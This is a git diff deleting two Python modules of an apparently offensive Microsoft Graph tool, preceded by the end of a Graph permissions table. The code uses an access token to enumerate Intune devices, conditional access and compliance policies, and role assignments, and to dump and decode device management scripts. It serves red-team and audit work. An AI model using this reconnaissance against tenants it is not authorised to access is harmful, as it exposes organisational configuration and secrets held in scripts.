    DisplayText-Read and write a user's virtual appointments  
    Description-Allows an application to read and write virtual appointments for the signed-in user. Only an organizer or participant user can read and write their virtual appointments. 
    AdminConsentRequired-Yes
    -
    -

    VirtualAppointment.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifierbf46a256-f47d-448f-ab78-f226fff08d40-
    DisplayTextRead-write all virtual appointments for users, as authorized by online meetings app access policy-
    DescriptionAllows the application to read and write virtual appointments for all users, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy.-
    AdminConsentRequiredYes-
    -
    -

    VirtualAppointmentNotification.Send

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier97e45b36-1250-48e4-bd70-2df6dab7e94a20d02fff-a0ef-49e7-a46e-019d4a6523b7
    DisplayTextSend notification regarding virtual appointments as any userSend notification regarding virtual appointments for the signed-in user
    DescriptionAllows the application to send notification regarding virtual appointments as any user, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy.Allows an application to send notifications for virtual appointments for the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    VirtualEvent.Read

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-6b616635-ae58-433a-a918-8c45e4f304dc
    DisplayText-Read your virtual events
    Description-Allows the app to read virtual events created by you
    AdminConsentRequired-Yes
    -
    -

    VirtualEvent.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier1dccb351-c4e4-4e09-a8d1-7a9ecbf027cc-
    DisplayTextRead all users' virtual events-
    DescriptionAllows the app to read all virtual events without a signed-in user.-
    AdminConsentRequiredYes-
    -
    -

    VirtualEvent.ReadWrite

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-d38d189c-e29b-4344-8b3b-829bfa81380b
    DisplayText-Read and write your virtual events
    Description-Allows the app to read and write virtual events for you
    AdminConsentRequired-Yes
    -
    -

    VirtualEventRegistration-Anon.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier23211fc1-f9d1-4e8e-8e9e-08a5d0a109bb-
    DisplayTextRead and write anonymous users' virtual event registrations-
    DescriptionAllows the app to read and write anonymous users' virtual event registrations, without a signed-in user-
    AdminConsentRequiredYes-
    -
    -

    WindowsUpdates.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier7dd1be58-6e76-4401-bf8d-31d1e8180d5b11776c0c-6138-4db3-a668-ee621bea2555
    DisplayTextRead and write all Windows update deployment settingsRead and write all Windows update deployment settings
    DescriptionAllows the app to read and write all Windows update deployment settings for the organization without a signed-in user.Allows the app to read and write all Windows update deployment settings for the organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    -
    -

    WorkforceIntegration.Read.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier-f1ccd5a7-6383-466a-8db8-1a656f7d06fa
    DisplayText-Read workforce integrations
    Description-Allows the app to read workforce integrations, to synchronize data from Microsoft Teams Shifts, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    -
    -

    WorkforceIntegration.ReadWrite.All

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    CategoryApplicationDelegated
    Identifier202bf709-e8e6-478e-bcfd-5d63c50b68e308c4b377-0d23-4a8b-be2a-23c1c1d88545
    DisplayTextRead and write workforce integrationsRead and write workforce integrations
    DescriptionAllows the app to manage workforce integrations to synchronize data from Microsoft Teams Shifts, without a signed-in user.Allows the app to manage workforce integrations, to synchronize data from Microsoft Teams Shifts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    \ No newline at end of file diff --git a/graphpython/commands/intune_enum.py b/graphpython/commands/intune_enum.py deleted file mode 100644 index 9ed9f02..0000000 --- a/graphpython/commands/intune_enum.py +++ /dev/null @@ -1,380 +0,0 @@ -import requests -import json -from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from Graphpython.utils.helpers import graph_api_get - -################################ -# Post-Auth Intune Enumeration # -################################ - -# get-manageddevices -def get_manageddevices(args): - print_yellow("[*] Get-ManagedDevices") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-userdevices -def get_userdevices(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-UserDevices command") - return - - print_yellow("[*] Get-UserDevices") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices?$filter=userPrincipalName eq '{args.id}'" - - if args.select: - api_url += "&$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-caps -def get_caps(args): - print_yellow("[*] Get-CAPs") - print("=" * 80) - api_url = "https://graph.microsoft.com//beta/identity/conditionalAccess/policies" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-devicecategories -def get_devicecategories(args): - print_yellow("[*] Get-DeviceCategories") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCategories" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-devicecompliancesummary -def get_devicecompliancesummary(args): - print_yellow("[*] Get-DeviceComplianceSummary") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicyDeviceStateSummary" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.ok: - response_body = response.json() - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-deviceconfigurations -def get_deviceconfigurations(args): - print_yellow("[*] Get-DeviceConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-deviceconfigurationpolicysettings -def get_deviceconfigurationpolicysettings(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-DeviceConfigurationPolicySettings command") - return - - print_yellow("[*] Get-DeviceConfigurationPolicySettings") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings?expand=settingDefinitions" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.ok: - response_body = response.json() - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - print(f"{key}: {pretty_value}") # redo this - else: - print_red(f"[-] Failed to retrieve settings: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-deviceenrollmentconfigurations -def get_deviceenrollmentconfigurations(args): - print_yellow("[*] Get-DeviceEnrollmentConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceEnrollmentConfigurations" - if args.select: - api_url += "?$select=" + args.select - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-devicegrouppolicyconfigurations -def get_devicegrouppolicyconfigurations(args): - print_yellow("[*] Get-DeviceGroupPolicyConfigurations") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations" - - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + get_access_token(args.token), - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - group_policies = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - group_policies = None - - if group_policies and 'value' in group_policies: - for policy in group_policies['value']: - for key, value in policy.items(): - print(f"{key} : {value}") - - policy_id = policy.get('id') - if policy_id: - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/groupPolicyConfigurations/{policy_id}/assignments" - assignments_response = requests.get(assignments_api_url, headers=headers) - - if assignments_response.status_code == 200: - assignments = assignments_response.json() - if not assignments.get('value'): - print_red("assignmentTarget: No assignments") - else: - print_green("assignmentTargets:") - for assignment in assignments.get('value', []): - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print("- Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print("- Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Assigned to Group ID: {group_id}") - else: - print(f" {odata_type}: {target}") - else: - print_red("assignmentTarget: No assignments") - else: - print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") - print("\n") - print("=" * 80) - -# get-devicegrouppolicydefinition -# - remove -def get_devicegrouppolicydefinition(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-DeviceGroupPolicyDefinition command") - return - - print_yellow("[*] Get-DeviceGroupPolicyDefinition") - print("=" * 80) - api_url = f"https://graph.microsoft.com//beta/deviceManagement/groupPolicyConfigurations('{args.id}')/definitionValues?$expand=definition($select=id,classType,displayName,policyType,hasRelatedDefinitions,version,minUserCspVersion,minDeviceCspVersion)" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-roledefinitions -def get_roledefinitions(args): - print_yellow("[*] Get-RoleDefinitions") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleDefinitions" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-roleassignments -def get_roleassignments(args): - print_yellow("[*] Get-RoleAssignments") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/roleAssignments" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-devicecompliancepolicies -def get_devicecompliancepolicies(args): - print_yellow("[*] Get-DeviceCompliancePolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies?$expand=scheduledActionsForRule($expand=scheduledActionConfigurations)" - if args.select: - api_url += "&$select=" + args.select - - try: - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {get_access_token(args.token)}", - "Accept": "application/json", - "User-Agent": user_agent - } - - response = requests.get(api_url, headers=headers) - response.raise_for_status() - policies = response.json() - - if policies and 'value' in policies: - for policy in policies['value']: - for key, value in policy.items(): - if key not in ['assignments', 'scheduledActionsForRule']: - print(f"{key} : {value}") - - # Display assignments for each policy - policy_id = policy.get('id') - if policy_id: - assignments_api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicies('{policy_id}')/assignments" - assignments_response = requests.get(assignments_api_url, headers=headers) - assignments_response.raise_for_status() - assignments = assignments_response.json() - - if not assignments.get('value'): - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in assignments.get('value', []): - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print("- Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print("- Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Assigned to Group ID: {group_id}") - else: - print(f"- {odata_type}: {target}") - - # Display scheduled actions for rule - scheduled_actions = policy.get('scheduledActionsForRule', []) - if not scheduled_actions: - print_red("scheduledActionsForRule: None") - else: - print_green("scheduledActionsForRule:") - for action in scheduled_actions: - #print(f"- Config ID: {action.get('id')}") - for config in action.get('scheduledActionConfigurations', []): - print(f" - Action Type: {config.get('actionType')}") - print(f" - Grace Period Hours: {config.get('gracePeriodHours')}") - print(f" - Notification Template Type: {config.get('notificationTemplateType')}") - - print("\n") - else: - print_red("[-] No data found") - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - print("=" * 80) - -# get-deviceconfigurationpolicies -def get_deviceconfigurationpolicies(args): - print_yellow("[*] Get-DeviceConfigurationPolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/configurationPolicies" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + get_access_token(args.token), - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - policies = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - policies = None - print("=" * 80) - - if policies and 'value' in policies: - for policy in policies['value']: - for key, value in policy.items(): - print(f"{key} : {value}") - - if 'templateReference' in policy and 'templateDisplayName' in policy['templateReference']: - print(f"template: {policy['templateReference']['templateDisplayName']}") - - # display assignments for each policy - policy_id = policy.get('id') - if policy_id: - assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{policy_id}')/assignments" - assignments_response = requests.get(assignments_api_url, headers=headers) - - if assignments_response.status_code == 200: - assignments = assignments_response.json() - if not assignments.get('value'): - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in assignments.get('value', []): - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print("- Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print("- Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f"- Assigned to Group ID: {group_id}") - else: - print(f"- {odata_type}: {target}") - else: - print_red(f"[-] Error: API request for assignments failed with status code {assignments_response.status_code}") - print("\n") - print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/intune_exploit.py b/graphpython/commands/intune_exploit.py deleted file mode 100644 index af245b6..0000000 --- a/graphpython/commands/intune_exploit.py +++ /dev/null @@ -1,2047 +0,0 @@ -import requests -import json -import sys -import base64 -from tabulate import tabulate -from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from Graphpython.utils.helpers import read_file_content, graph_api_get - -################################# -# Post-Auth Intune Exploitation # -################################# - -# dump-devicemanagementscripts -def dump_devicemanagementscripts(args): - print_yellow("[*] Dump-DeviceManagementScripts") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" - if args.select: - api_url += "?$select=" + args.select - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# dump-windowsapps -def dump_windowsapps(args): - print_yellow("[*] Dump-WindowsApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.win32CatalogApp%27)%20or%20isof(%27microsoft.graph.windowsStoreApp%27)%20or%20isof(%27microsoft.graph.microsoftStoreForBusinessApp%27)%20or%20isof(%27microsoft.graph.officeSuiteApp%27)%20or%20(isof(%27microsoft.graph.win32LobApp%27)%20and%20not(isof(%27microsoft.graph.win32CatalogApp%27)))%20or%20isof(%27microsoft.graph.windowsMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.windowsPhone81AppX%27)%20or%20isof(%27microsoft.graph.windowsPhone81StoreApp%27)%20or%20isof(%27microsoft.graph.windowsPhoneXAP%27)%20or%20isof(%27microsoft.graph.windowsAppX%27)%20or%20isof(%27microsoft.graph.windowsMobileMSI%27)%20or%20isof(%27microsoft.graph.windowsUniversalAppX%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.windowsWebApp%27)%20or%20isof(%27microsoft.graph.winGetApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - if args.id: - api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - json_data.pop('assignments@odata.context', None) - for key, value in json_data.items(): - if key == 'assignments': - if not value: - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in value: - print(f" - ID: {assignment['id']}") - print(f" Intent: {assignment['intent']}") - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - print(f" Target:") - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print(" Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print(" Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Assigned to Group ID: {group_id}") - else: - print(f" {odata_type}: {target}") - print() - else: - print(f"{key}: {value}") - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - print("=" * 80) - return - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# dump-iosapps -def dump_iosapps(args): - print_yellow("[*] Dump-iOSApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.iosLobApp%27)%20or%20isof(%27microsoft.graph.iosStoreApp%27)%20or%20isof(%27microsoft.graph.iosVppApp%27)%20or%20isof(%27microsoft.graph.managedIOSLobApp%27)%20or%20(isof(%27microsoft.graph.managedIOSStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.iOSiPadOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - if args.id: - api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - json_data.pop('assignments@odata.context', None) - for key, value in json_data.items(): - if key == 'assignments': - if not value: - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in value: - print(f" - ID: {assignment['id']}") - print(f" Intent: {assignment['intent']}") - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - print(f" Target:") - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print(" Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print(" Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Assigned to Group ID: {group_id}") - else: - print(f" {odata_type}: {target}") - print() - else: - print(f"{key}: {value}") - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - print("=" * 80) - return - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# dump-macosapps -def dump_macosapps(args): - print_yellow("[*] Dump-macOSApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=(isof(%27microsoft.graph.macOSDmgApp%27)%20or%20isof(%27microsoft.graph.macOSPkgApp%27)%20or%20isof(%27microsoft.graph.macOSLobApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftEdgeApp%27)%20or%20isof(%27microsoft.graph.macOSMicrosoftDefenderApp%27)%20or%20isof(%27microsoft.graph.macOSOfficeSuiteApp%27)%20or%20isof(%27microsoft.graph.macOsVppApp%27)%20or%20isof(%27microsoft.graph.webApp%27)%20or%20isof(%27microsoft.graph.macOSWebClip%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - if args.id: - api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - json_data.pop('assignments@odata.context', None) - for key, value in json_data.items(): - if key == 'assignments': - if not value: - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in value: - print(f" - ID: {assignment['id']}") - print(f" Intent: {assignment['intent']}") - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - print(f" Target:") - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print(" Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print(" Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Assigned to Group ID: {group_id}") - else: - print(f" {odata_type}: {target}") - print() - else: - print(f"{key}: {value}") - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - print("=" * 80) - return - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# dump-androidapps -def dump_androidapps(args): - print_yellow("[*] Dump-AndroidApps") - print("=" * 80) - api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps?$filter=((isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20true)%20or%20isof(%27microsoft.graph.androidLobApp%27)%20or%20isof(%27microsoft.graph.androidStoreApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27lineOfBusiness%27)%20or%20isof(%27microsoft.graph.managedAndroidLobApp%27)%20or%20(isof(%27microsoft.graph.managedAndroidStoreApp%27)%20and%20microsoft.graph.managedApp/appAvailability%20eq%20microsoft.graph.managedAppAvailability%27global%27)%20or%20(isof(%27microsoft.graph.androidManagedStoreApp%27)%20and%20microsoft.graph.androidManagedStoreApp/isSystemApp%20eq%20false)%20or%20isof(%27microsoft.graph.webApp%27))%20and%20(microsoft.graph.managedApp/appAvailability%20eq%20null%20or%20microsoft.graph.managedApp/appAvailability%20eq%20%27lineOfBusiness%27%20or%20isAssigned%20eq%20true)&$orderby=displayName&" - - if args.select: - api_url += "$select=" + args.select # some fields will 400 whole req - if args.id: - api_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{args.id}?$expand=assignments" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - json_data.pop('assignments@odata.context', None) - for key, value in json_data.items(): - if key == 'assignments': - if not value: - print_red("assignments: None") - else: - print_green("assignments:") - for assignment in value: - print(f" - ID: {assignment['id']}") - print(f" Intent: {assignment['intent']}") - if 'target' in assignment: - target = assignment['target'] - odata_type = target.get('@odata.type', '').split('.')[-1] - print(f" Target:") - if odata_type == 'exclusionGroupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Excluded Group ID: {group_id}") - elif odata_type == 'allLicensedUsersAssignmentTarget': - print(" Assigned to all users") - elif odata_type == 'allDevicesAssignmentTarget': - print(" Assigned to all devices") - elif odata_type == 'groupAssignmentTarget': - group_id = target.get('groupId', 'N/A') - print(f" Assigned to Group ID: {group_id}") - else: - print(f" {odata_type}: {target}") - print() - else: - print(f"{key}: {value}") - except requests.exceptions.RequestException as ex: - print_red(f"[-] HTTP Error: {ex}") - print("=" * 80) - return - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-scriptcontent -def get_scriptcontent(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-ScriptContent command") - return - - print_yellow("[*] Get-ScriptContent") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" - - if args.select: - api_url += "&$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - try: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - json_data = response.json() - json_data.pop('@odata.context', None) - - script_content = json_data.get('scriptContent') - if script_content: - decoded_script_content = base64.b64decode(script_content).decode('utf-8') - json_data['scriptContent'] = decoded_script_content - json_data.pop('scriptContent', None) - for key, value in json_data.items(): - print(f"{key} : {value}") - if script_content: - print("scriptContent :\n") - print(decoded_script_content) - except requests.exceptions.RequestException as ex: - print(f"[-] HTTP Error: {ex}") - print("=" * 80) - -# display-avpolicyrules -def display_avpolicyrules(args): - if not args.id: - print_red("[-] Error: --id argument is required for Display-AVPolicyRules command") - return - - print_yellow("[*] Display-AVPolicyRules") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - settings_map = { - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_highseveritythreats": { - "description": "Remediation action for High severity threats", - "values": { - "4=1": "Clean (service tries to recover files and try to disinfect)", - "4=2": "Quarantine (moves files to quarantine)", - "4=3": "Remove (removes files from system)", - "4=6": "Allow (allows file/does none of the above actions)", - "4=8": "User defined (requires user to make a decision on which action to take)", - "4=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_lowseveritythreats": { - "description": "Remediation action for Low severity threats", - "values": { - "1=1": "Clean (service tries to recover files and try to disinfect)", - "1=2": "Quarantine (moves files to quarantine)", - "1=3": "Remove (removes files from system)", - "1=6": "Allow (allows file/does none of the above actions)", - "1=8": "User defined (requires user to make a decision on which action to take)", - "1=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_moderateseveritythreats": { - "description": "Remediation action for Moderate severity threats", - "values": { - "2=1": "Clean (service tries to recover files and try to disinfect)", - "2=2": "Quarantine (moves files to quarantine)", - "2=3": "Remove (removes files from system)", - "2=6": "Allow (allows file/does none of the above actions)", - "2=8": "User defined (requires user to make a decision on which action to take)", - "2=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_threatseveritydefaultaction_severethreats": { - "description": "Remediation action for Severe threats", - "values": { - "5=1": "Clean (service tries to recover files and try to disinfect)", - "5=2": "Quarantine (moves files to quarantine)", - "5=3": "Remove (removes files from system)", - "5=6": "Allow (allows file/does none of the above actions)", - "5=8": "User defined (requires user to make a decision on which action to take)", - "5=10": "Block (blocks file execution)" - } - }, - "device_vendor_msft_policy_config_defender_allowarchivescanning": { - "description": "Allow archive scanning", - "values": { - "0": "Not allowed (turns off scanning on archived files)", - "1": "Allowed (scans the archive files)" - } - }, - "device_vendor_msft_policy_config_defender_allowbehaviormonitoring": { - "description": "Allow behavior monitoring", - "values": { - "0": "Not allowed (turns off behavior monitoring)", - "1": "Allowed (turns on real-time behavior monitoring)" - } - }, - "device_vendor_msft_policy_config_defender_allowcloudprotection": { - "description": "Allow cloud protection", - "values": { - "0": "Not allowed (turns off Cloud Protection)", - "1": "Allowed (turns on Cloud Protection" - } - }, - "device_vendor_msft_policy_config_defender_allowemailscanning": { - "description": "Allow email scanning", - "values": { - "0": "Not allowed (turns off email scanning)", - "1": "Allowed (turns on email scanning)" - } - }, - "device_vendor_msft_policy_config_defender_allowfullscanonmappednetworkdrives": { - "description": "Allow full scan on mapped network drives", - "values": { - "0": "Not allowed (disables scanning on mapped network drives)", - "1": "Allowed (scans mapped network drives)" - } - }, - "device_vendor_msft_policy_config_defender_allowfullscanremovabledrivescanning": { - "description": "Allow full scan on removable drives", - "values": { - "0": "Not allowed (turns off scanning on removable drives)", - "1": "Allowed (scans removable drives)" - } - }, - 